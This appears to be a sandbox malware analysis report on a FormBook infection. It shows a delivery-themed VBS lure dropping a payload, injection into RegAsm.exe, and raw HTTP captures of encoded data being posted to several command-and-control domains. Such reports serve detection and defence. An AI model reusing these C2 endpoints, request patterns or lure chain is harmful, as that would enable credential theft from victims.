                              server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1716&rtt_var=858&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1807&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              4192.168.2.949744172.67.162.12806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:16:51.868112087 CET512OUTGET /uvt3/?ZZO=zVlhrraBsL3wRkcwn1FlIGeCz4A2EOdp3MszRyMTAoJUFK60oXlgsdwz3zYDdg3RjvURv75Aerwp0auHBcyI5vE6WDctvW80dOEkFRjN5vR3CkMGYw==&9T5=dnDHwbWHB8yXWNo HTTP/1.1
                              Host: www.conansog.shop
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Language: en-us
                              Connection: close
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Nov 27, 2024 19:16:53.121328115 CET768INHTTP/1.1 404 Not Found
                              Date: Wed, 27 Nov 2024 18:16:52 GMT
                              Content-Length: 0
                              Connection: close
                              Vary: Accept-Encoding
                              cf-cache-status: DYNAMIC
                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IkLP%2FVNEd%2FswNijuELbcHjIfzY64lQZ6BOHsL82ILs3P1K1JIKDP6rUGL5wNds1uJhwACGUNMy4PDkx9G82UEPLr3yX3BkPTUUP5l%2BJEV%2BxFR9IprhtxBJqxWuMGQVE%2FMP2heQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                              Server: cloudflare
                              CF-RAY: 8e941ca268a38c4d-EWR
                              alt-svc: h3=":443"; ma=86400
                              server-timing: cfL4;desc="?proto=TCP&rtt=2028&min_rtt=2028&rtt_var=1014&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=512&delivery_rate=0&cwnd=156&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              5192.168.2.94976038.54.112.227806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:16:58.867724895 CET767OUTPOST /x5hh/ HTTP/1.1
                              Host: www.jijievo.site
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: en-us
                              Cache-Control: no-cache
                              Connection: close
                              Content-Type: application/x-www-form-urlencoded
                              Content-Length: 192
                              Origin: http://www.jijievo.site
                              Referer: http://www.jijievo.site/x5hh/
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Data Raw: 5a 5a 4f 3d 55 36 50 4c 34 67 33 75 46 71 38 62 79 77 70 53 34 4f 77 33 7a 4a 52 58 76 74 47 51 6f 44 71 79 45 66 43 34 48 32 38 79 74 64 43 67 66 36 6d 6d 61 41 57 38 54 4a 51 36 48 46 33 56 5a 65 55 2f 54 6e 52 4d 47 66 52 4b 46 75 63 47 6e 67 47 4f 2b 70 41 68 65 4d 38 6c 44 6d 58 30 50 73 47 39 47 5a 70 43 37 6e 58 43 47 56 4a 63 63 4a 52 39 39 4f 63 71 6e 6b 4e 44 38 46 42 34 46 70 49 43 64 5a 4f 67 73 6e 6b 4b 38 71 46 54 4b 45 47 33 75 70 39 61 56 47 74 6d 50 6c 74 5a 69 41 43 4b 66 44 43 73 50 49 73 54 37 37 51 51 63 52 45 48 71 2f 56 35 5a 6d 56 67 68 57 65 6f
                              Data Ascii: ZZO=U6PL4g3uFq8bywpS4Ow3zJRXvtGQoDqyEfC4H28ytdCgf6mmaAW8TJQ6HF3VZeU/TnRMGfRKFucGngGO+pAheM8lDmX0PsG9GZpC7nXCGVJccJR99OcqnkND8FB4FpICdZOgsnkK8qFTKEG3up9aVGtmPltZiACKfDCsPIsT77QQcREHq/V5ZmVghWeo
                              Nov 27, 2024 19:17:00.509294987 CET241INHTTP/1.1 200 OK
                              Content-Encoding: gzip
                              Content-Type: text/html; charset=UTF-8
                              Date: Wed, 27 Nov 2024 18:17:00 GMT
                              Server: nginx
                              Vary: Accept-Encoding
                              Content-Length: 44
                              Connection: close
                              Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00
                              Data Ascii: KLIU(WHO-QHKM.g


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              6192.168.2.94976638.54.112.227806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:17:01.528219938 CET791OUTPOST /x5hh/ HTTP/1.1
                              Host: www.jijievo.site
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: en-us
                              Cache-Control: no-cache
                              Connection: close
                              Content-Type: application/x-www-form-urlencoded
                              Content-Length: 216
                              Origin: http://www.jijievo.site
                              Referer: http://www.jijievo.site/x5hh/
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Data Raw: 5a 5a 4f 3d 55 36 50 4c 34 67 33 75 46 71 38 62 6a 67 5a 53 35 73 59 33 37 4a 52 51 7a 39 47 51 39 54 71 32 45 66 4f 34 48 7a 4e 71 71 76 57 67 66 62 32 6d 62 45 4b 38 53 4a 51 36 66 31 33 55 47 75 55 6f 54 6e 64 45 47 65 74 4b 46 75 34 47 6e 6b 43 4f 2b 61 6f 75 4d 73 38 6e 59 57 58 4d 42 4d 47 39 47 5a 70 43 37 6e 53 56 47 56 52 63 63 61 35 39 76 36 6f 70 75 45 4e 41 6f 56 42 34 42 70 49 47 64 5a 4f 65 73 6d 4a 64 38 73 42 54 4b 45 32 33 75 34 39 64 65 47 74 67 43 46 73 4e 6a 53 50 36 55 79 32 33 50 4c 59 55 35 6f 73 6e 53 51 34 5a 37 4e 63 69 4d 78 56 48 6d 78 58 41 46 66 78 4e 64 62 34 52 37 78 4f 4d 7a 51 74 75 42 76 68 6d 79 51 3d 3d
                              Data Ascii: ZZO=U6PL4g3uFq8bjgZS5sY37JRQz9GQ9Tq2EfO4HzNqqvWgfb2mbEK8SJQ6f13UGuUoTndEGetKFu4GnkCO+aouMs8nYWXMBMG9GZpC7nSVGVRcca59v6opuENAoVB4BpIGdZOesmJd8sBTKE23u49deGtgCFsNjSP6Uy23PLYU5osnSQ4Z7NciMxVHmxXAFfxNdb4R7xOMzQtuBvhmyQ==


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              7192.168.2.94977238.54.112.227806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:17:04.238399029 CET1804OUTPOST /x5hh/ HTTP/1.1
                              Host: www.jijievo.site
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: en-us
                              Cache-Control: no-cache
                              Connection: close
                              Content-Type: application/x-www-form-urlencoded
                              Content-Length: 1228
                              Origin: http://www.jijievo.site
                              Referer: http://www.jijievo.site/x5hh/
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Data Raw: 5a 5a 4f 3d 55 36 50 4c 34 67 33 75 46 71 38 62 6a 67 5a 53 35 73 59 33 37 4a 52 51 7a 39 47 51 39 54 71 32 45 66 4f 34 48 7a 4e 71 71 76 4f 67 63 72 71 6d 62 6a 2b 38 44 35 51 36 57 56 33 5a 47 75 55 51 54 6b 74 41 47 65 67 78 46 73 77 47 6d 48 4b 4f 34 72 6f 75 47 73 38 6e 51 32 58 33 50 73 47 30 47 5a 5a 4f 37 6e 43 56 47 56 52 63 63 66 39 39 73 75 63 70 6f 45 4e 44 38 46 42 30 46 70 49 2b 64 61 2f 6c 73 6d 39 4e 38 64 39 54 4b 67 53 33 73 4b 56 64 43 57 74 69 44 46 73 46 6a 53 44 6c 55 79 61 4e 50 4b 73 36 35 72 38 6e 57 45 78 36 67 4e 45 69 61 58 46 54 6b 47 4c 34 4d 49 64 4f 59 34 5a 46 6c 77 57 6f 79 43 73 59 4a 62 6f 70 70 55 35 55 54 58 48 48 77 33 4a 43 50 4d 6e 44 63 56 63 63 34 34 52 30 44 78 6c 71 2f 38 46 38 61 2b 54 37 6e 4c 77 54 57 4c 48 48 74 70 6d 62 6f 47 33 4c 71 4f 49 4a 52 4b 37 7a 41 37 57 74 41 6c 41 45 57 4a 45 76 47 62 74 2b 72 70 59 78 4a 53 67 69 4d 44 48 5a 78 46 45 4a 75 2f 72 64 39 5a 62 74 52 39 6b 63 76 73 70 58 30 32 6c 50 71 38 64 59 4d 73 2f 6b 45 77 77 74 70 5a [TRUNCATED]
                              Data Ascii: ZZO=U6PL4g3uFq8bjgZS5sY37JRQz9GQ9Tq2EfO4HzNqqvOgcrqmbj+8D5Q6WV3ZGuUQTktAGegxFswGmHKO4rouGs8nQ2X3PsG0GZZO7nCVGVRccf99sucpoEND8FB0FpI+da/lsm9N8d9TKgS3sKVdCWtiDFsFjSDlUyaNPKs65r8nWEx6gNEiaXFTkGL4MIdOY4ZFlwWoyCsYJboppU5UTXHHw3JCPMnDcVcc44R0Dxlq/8F8a+T7nLwTWLHHtpmboG3LqOIJRK7zA7WtAlAEWJEvGbt+rpYxJSgiMDHZxFEJu/rd9ZbtR9kcvspX02lPq8dYMs/kEwwtpZH17rW4Oxweg1dBmvNwWa/ODo5b6iWAu9hwoa4+AykWqPq0S+c38NGwWuTpw/RsCFryDFMDZlh2J7GgFgdaHwFtlGMAm2BSheX2aOvwa9lwox+4JVOhdxuYMVDjEHNVwgyzxnOOc0WyGdoaSxUWUoGBgpEM5pwnkibeFHg3xWsB6/2hTCTcqSV1LdDWPjSLNikUuHBLXwEwMruhQ/WINaNKVPyRhxNh3fNXPCY7Wqp6Uju5v7XAVwtbOZzX/4y+dBVAdQtk71nqP3HVuItzlxuUCG94Nv5xuO0TsjjCNEHXWX0okTsUzRPJewheQkjdu1s6ZqPyZxXwbUMRye+lKeE7+Z2CTpl6SUpixbXChLlsT6mdlbn+EAw2I/zACdUgfNaSH8GNiKXLdQv1REBfObxON8LOOxsnEvJbIvt2AGw4ZmLGUHxNPjub0QXDk59LbUTgiAWIKGmh5rTfsnkO0zRIJbOotoaX1NebehQJYJoxpg8y++pPqVu+pEC/22vy+gOwQUs7hpvhdUyV4q7zUCb3bxsdmJhkBBk6VFgGzqZWttgsbsT2OFxQGgYCaXmUEiCmFfmFfBQ94yHyikYzLxMzT4mUvLhLX6cOjSdrGuI7772+3QXKwslj8wMoVSiLzonoFk+UKi+gWuC8SKjMDy7SFtLCNQqaonxq [TRUNCATED]


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              8192.168.2.94977838.54.112.227806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:17:06.905498981 CET511OUTGET /x5hh/?9T5=dnDHwbWHB8yXWNo&ZZO=Z4nr7Xj7Balg2gthw4Rq9LN5z6WWpBOZCdiQclsotPmYaradfT6lU405eWXmKM8cYVsSDZkVOuw6hnyi+ooRPM4mR1jmP8bcCew2omCTIX9eL4B7+g== HTTP/1.1
                              Host: www.jijievo.site
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Language: en-us
                              Connection: close
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Nov 27, 2024 19:17:08.534924984 CET197INHTTP/1.1 200 OK
                              Content-Type: text/html; charset=UTF-8
                              Date: Wed, 27 Nov 2024 18:17:08 GMT
                              Server: nginx
                              Vary: Accept-Encoding
                              Content-Length: 24
                              Connection: close
                              Data Raw: 55 6e 61 62 6c 65 20 74 6f 20 67 65 74 20 63 6f 6e 6e 65 63 74 69 6f 6e
                              Data Ascii: Unable to get connection


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              9192.168.2.949795172.67.187.114806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:17:14.092186928 CET770OUTPOST /z3j2/ HTTP/1.1
                              Host: www.zkdamdjj.shop
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: en-us
                              Cache-Control: no-cache
                              Connection: close
                              Content-Type: application/x-www-form-urlencoded
                              Content-Length: 192
                              Origin: http://www.zkdamdjj.shop
                              Referer: http://www.zkdamdjj.shop/z3j2/
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Data Raw: 5a 5a 4f 3d 79 48 4e 67 4a 64 50 6d 35 57 4c 54 49 50 2f 7a 75 63 39 57 6d 77 57 44 73 78 6f 43 61 33 64 4a 30 78 66 65 69 71 77 4e 55 5a 32 59 76 7a 48 44 62 6c 4b 6d 47 69 6e 4e 51 73 38 6d 56 56 51 4b 73 4f 64 34 41 34 43 38 37 50 69 72 59 52 79 79 4a 59 41 45 37 59 61 72 6d 70 53 49 4c 43 52 31 37 35 74 44 72 48 32 65 33 31 45 51 79 33 6a 37 2b 4c 77 74 61 57 47 38 58 6f 6c 77 67 45 52 6a 78 70 4e 7a 49 63 56 53 49 38 6c 31 4c 79 78 55 6d 35 34 71 6c 79 47 68 64 33 4a 59 44 59 65 48 79 46 57 78 45 2b 74 68 2f 56 61 36 67 44 6c 6f 35 75 71 61 4e 62 6c 6a 42 59 36 42
                              Data Ascii: ZZO=yHNgJdPm5WLTIP/zuc9WmwWDsxoCa3dJ0xfeiqwNUZ2YvzHDblKmGinNQs8mVVQKsOd4A4C87PirYRyyJYAE7YarmpSILCR175tDrH2e31EQy3j7+LwtaWG8XolwgERjxpNzIcVSI8l1LyxUm54qlyGhd3JYDYeHyFWxE+th/Va6gDlo5uqaNbljBY6B


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              10192.168.2.949801172.67.187.114806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:17:16.746083021 CET794OUTPOST /z3j2/ HTTP/1.1
                              Host: www.zkdamdjj.shop
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: en-us
                              Cache-Control: no-cache
                              Connection: close
                              Content-Type: application/x-www-form-urlencoded
                              Content-Length: 216
                              Origin: http://www.zkdamdjj.shop
                              Referer: http://www.zkdamdjj.shop/z3j2/
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Data Raw: 5a 5a 4f 3d 79 48 4e 67 4a 64 50 6d 35 57 4c 54 4f 71 76 7a 39 76 6c 57 7a 67 57 45 78 42 6f 43 54 58 64 33 30 78 6a 65 69 76 51 64 55 4c 53 59 76 52 50 44 61 67 2b 6d 42 69 6e 4e 49 63 38 6e 52 56 51 44 73 4f 68 4b 41 36 57 38 37 4c 4b 72 59 54 71 79 4b 70 41 46 36 49 61 74 2f 35 53 4b 42 69 52 31 37 35 74 44 72 44 58 46 33 31 73 51 7a 48 7a 37 2f 70 59 75 54 32 47 2f 42 34 6c 77 78 30 52 64 78 70 4e 56 49 64 4a 6f 49 2f 4e 31 4c 77 5a 55 6c 6f 34 70 79 69 47 6e 54 58 4a 4f 4b 4b 54 2f 7a 69 4b 4e 4d 65 42 2f 2b 45 4f 66 6e 69 5a 32 6f 63 6a 42 59 4d 6c 45 47 2f 7a 70 39 70 51 50 57 45 39 34 55 76 4d 6c 2f 4a 39 4e 52 6f 30 4b 2f 41 3d 3d
                              Data Ascii: ZZO=yHNgJdPm5WLTOqvz9vlWzgWExBoCTXd30xjeivQdULSYvRPDag+mBinNIc8nRVQDsOhKA6W87LKrYTqyKpAF6Iat/5SKBiR175tDrDXF31sQzHz7/pYuT2G/B4lwx0RdxpNVIdJoI/N1LwZUlo4pyiGnTXJOKKT/ziKNMeB/+EOfniZ2ocjBYMlEG/zp9pQPWE94UvMl/J9NRo0K/A==


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              11192.168.2.949808172.67.187.114806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:17:19.413363934 CET1807OUTPOST /z3j2/ HTTP/1.1
                              Host: www.zkdamdjj.shop
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: en-us
                              Cache-Control: no-cache
                              Connection: close
                              Content-Type: application/x-www-form-urlencoded
                              Content-Length: 1228
                              Origin: http://www.zkdamdjj.shop
                              Referer: http://www.zkdamdjj.shop/z3j2/
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Data Raw: 5a 5a 4f 3d 79 48 4e 67 4a 64 50 6d 35 57 4c 54 4f 71 76 7a 39 76 6c 57 7a 67 57 45 78 42 6f 43 54 58 64 33 30 78 6a 65 69 76 51 64 55 4c 61 59 76 6b 44 44 62 44 6d 6d 41 69 6e 4e 57 73 38 69 52 56 52 54 73 4b 4d 42 41 36 4b 47 37 4a 43 72 5a 79 4b 79 43 39 63 46 30 49 61 74 77 5a 53 4a 4c 43 52 67 37 35 64 48 72 48 7a 46 33 31 73 51 7a 43 2f 37 34 37 77 75 56 32 47 38 58 6f 6b 6b 67 45 51 77 78 70 6b 67 49 64 4d 56 49 75 74 31 4c 51 70 55 31 4b 41 70 74 53 47 6c 55 58 49 4e 4b 4b 66 67 7a 6d 71 6e 4d 65 31 42 2b 44 36 66 6b 33 73 51 36 2b 4c 2b 4b 4e 70 75 52 39 6e 7a 6b 65 64 73 57 47 35 38 46 71 4d 48 6d 37 56 54 53 6f 6c 63 67 50 56 65 2f 79 6a 65 4d 49 4b 32 54 51 57 54 51 78 61 39 64 33 37 30 41 38 78 69 54 33 64 6f 43 6b 4b 31 7a 6b 50 38 56 72 42 70 65 58 64 64 2b 6d 34 35 68 35 44 35 52 4d 41 51 6c 43 2f 56 59 74 71 67 36 6a 76 57 4d 74 79 52 63 4c 67 33 77 6e 6b 48 56 77 44 75 56 2f 64 37 2f 2b 47 51 34 63 42 69 47 78 45 4f 72 44 36 55 6f 52 36 74 2b 75 34 7a 4a 64 43 4b 56 67 6c 42 6e 77 [TRUNCATED]
                              Data Ascii: ZZO=yHNgJdPm5WLTOqvz9vlWzgWExBoCTXd30xjeivQdULaYvkDDbDmmAinNWs8iRVRTsKMBA6KG7JCrZyKyC9cF0IatwZSJLCRg75dHrHzF31sQzC/747wuV2G8XokkgEQwxpkgIdMVIut1LQpU1KAptSGlUXINKKfgzmqnMe1B+D6fk3sQ6+L+KNpuR9nzkedsWG58FqMHm7VTSolcgPVe/yjeMIK2TQWTQxa9d370A8xiT3doCkK1zkP8VrBpeXdd+m45h5D5RMAQlC/VYtqg6jvWMtyRcLg3wnkHVwDuV/d7/+GQ4cBiGxEOrD6UoR6t+u4zJdCKVglBnwqbRUU8FC3pcRbQJq48Nom/cW8aBbLePcoHMD+vCvVkvfxju2EbOcVpV3AxG6JPHUQTuxUGRxF8pu0b5DmqAxUQ63s6RrcpDP4fDHSiQo9k1i6Ipcw7d5E9TYYOKYPPiwjRf3c4q7O5m8mNZBS8VW73dWcEfVsC6FzFgKVZW2VBOvD/y7Vpkq9NYu/pGHJfk7XzhLhZOFv6YNs38c38OqDWGwkz19DRr5BkRvGb16eXnXfkXSmPubX9KpNISLR4MHN8xlJc6u/QDSd1RKzIMLqrUS9tNaNTJiUQu8rECCUfHJ71PPIQGxNvTgvAtzyZNH/4ltzaFns7QPNuJnNVpgP/+CbhUv8tbsy60mDtrDLqpwuo97OXnRYlAV8sNaMYhNh4PhtKsIlbQK9Gy3U7HUGxG3cB/vGYDG9fZKJDWV7Ys2Ar4iIBBv19OVZAbX5evR5LI7USlQYpH/c0Z18tmMNHd2W8vZ+wKNsAqqLnbrdIWPWe4ca+wFnTclgaGLY05usiP900JAabQNaF+sws2LiGGBrRm8hpo1i9ojWZjqL5R3Spw2qWAF06IqKreZrh5CmwHWaTSoHQDilEn5nJw2/wgvI7xaAGOgU44zLqQIc5WptkeNtvzlQEfy7Dk+LozfV6CmKIa4bWWTkucy+DKsWq+viZFEhmQg6H [TRUNCATED]


                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                              12192.168.2.949816172.67.187.114806992C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              TimestampBytes transferredDirectionData
                              Nov 27, 2024 19:17:22.078800917 CET512OUTGET /z3j2/?ZZO=/FlAKobS9DDcFpSUrLxYrzeiuBgBETFKgA3F4sI0Na2FuCPtUyuRRVHVRN07Xm5p7OULId6H3IKQXBfxJLlS6ZiI3s/2NFQPzOFsp12a11Bh9wLshA==&9T5=dnDHwbWHB8yXWNo HTTP/1.1
                              Host: www.zkdamdjj.shop
                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                              Accept-Language: en-us
                              Connection: close
                              User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                              Nov 27, 2024 19:17:24.090727091 CET1236INHTTP/1.1 301 Moved Permanently
                              Date: Wed, 27 Nov 2024 18:17:23 GMT
                              Content-Type: text/html; charset=UTF-8
                              Transfer-Encoding: chunked
                              Connection: close
                              expires: Wed, 11 Jan 1984 05:00:00 GMT
                              cache-control: no-cache, must-revalidate, max-age=0
                              x-redirect-by: WordPress
                              location: https://zkdamdjj.shop/z3j2/?ZZO=/FlAKobS9DDcFpSUrLxYrzeiuBgBETFKgA3F4sI0Na2FuCPtUyuRRVHVRN07Xm5p7OULId6H3IKQXBfxJLlS6ZiI3s/2NFQPzOFsp12a11Bh9wLshA==&9T5=dnDHwbWHB8yXWNo
                              x-litespeed-cache-control: public,max-age=3600
                              x-litespeed-tag: 02a_HTTP.404,02a_HTTP.301,02a_404,02a_URL.fab5e27b1b38611e37af938fedb75b28,02a_
                              x-litespeed-cache: miss
                              cf-cache-status: DYNAMIC
                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JtmTWL9CLkj8Y%2Fv2%2Fb1FLIDmQqLvME2ZQ%2BP8PV7eo2puQ7QP3AvtQ%2Fe27UhJcfBDOD3VC7osFwO3dt5iIZuJhLHF0i8UtFDCkzuLke4ZpF75E0jmD%2FfsWrKC4ruj8YgxRhsGvQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                              Server: cloudflare
                              CF-RAY: 8e941d5f0d0d78d9-EWR
                              alt-svc: h3=":443"; ma=86400
                              server-timing: cfL4;desc="?proto=TCP&rtt=1995&min_rtt=1995&rtt_var=997&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=512&delivery_rate=0&cwnd=30&unsent_bytes=0
                              Data Raw:
                              Data Ascii:
                              Nov 27, 2024 19:17:24.090940952 CET39INData Raw: 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 0d 0a 30 0d 0a 0d 0a
                              Data Ascii: cid=0000000000000000&ts=0&x=0"0


                              Statistics

                              CPU Usage

                              Click to jump to process

                              Memory Usage

                              Click to jump to process

                              High Level Behavior Distribution

                              Click to dive into process behavior distribution

                              Behavior

                              Click to jump to process

                              System Behavior

                              General

                              Target ID:0
                              Start time:13:15:17
                              Start date:27/11/2024
                              Path:C:\Windows\System32\wscript.exe
                              Wow64 process (32bit):false
                              Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs"
                              Imagebase:0x7ff6a0360000
                              File size:170'496 bytes
                              MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                              Has elevated privileges:false
                              Has administrator privileges:false
                              Programmed in:C, C++ or other language
                              Reputation:high
                              Has exited:true

                              General

                              Target ID:2
                              Start time:13:15:32
                              Start date:27/11/2024
                              Path:C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe
                              Wow64 process (32bit):true
                              Commandline:"C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe"
                              Imagebase:0x4b0000
                              File size:397'312 bytes
                              MD5 hash:0B6A1AA96FABD02D283FF73044BC1B14
                              Has elevated privileges:false
                              Has administrator privileges:false
                              Programmed in:C, C++ or other language
                              Antivirus matches:
                              • Detection: 100%, Avira
                              • Detection: 100%, Joe Sandbox ML
                              • Detection: 67%, ReversingLabs
                              Reputation:low
                              Has exited:true

                              General

                              Target ID:4
                              Start time:13:15:44
                              Start date:27/11/2024
                              Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              Wow64 process (32bit):false
                              Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              Imagebase:0x3a0000
                              File size:65'440 bytes
                              MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                              Has elevated privileges:false
                              Has administrator privileges:false
                              Programmed in:C, C++ or other language
                              Reputation:high
                              Has exited:true

                              General

                              Target ID:5
                              Start time:13:15:44
                              Start date:27/11/2024
                              Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              Wow64 process (32bit):true
                              Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              Imagebase:0xd40000
                              File size:65'440 bytes
                              MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                              Has elevated privileges:false
                              Has administrator privileges:false
                              Programmed in:C, C++ or other language
                              Yara matches:
                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2004081991.0000000001430000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2005395988.0000000005170000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                              Reputation:high
                              Has exited:true

                              General

                              Target ID:8
                              Start time:13:16:03
                              Start date:27/11/2024
                              Path:C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe
                              Wow64 process (32bit):true
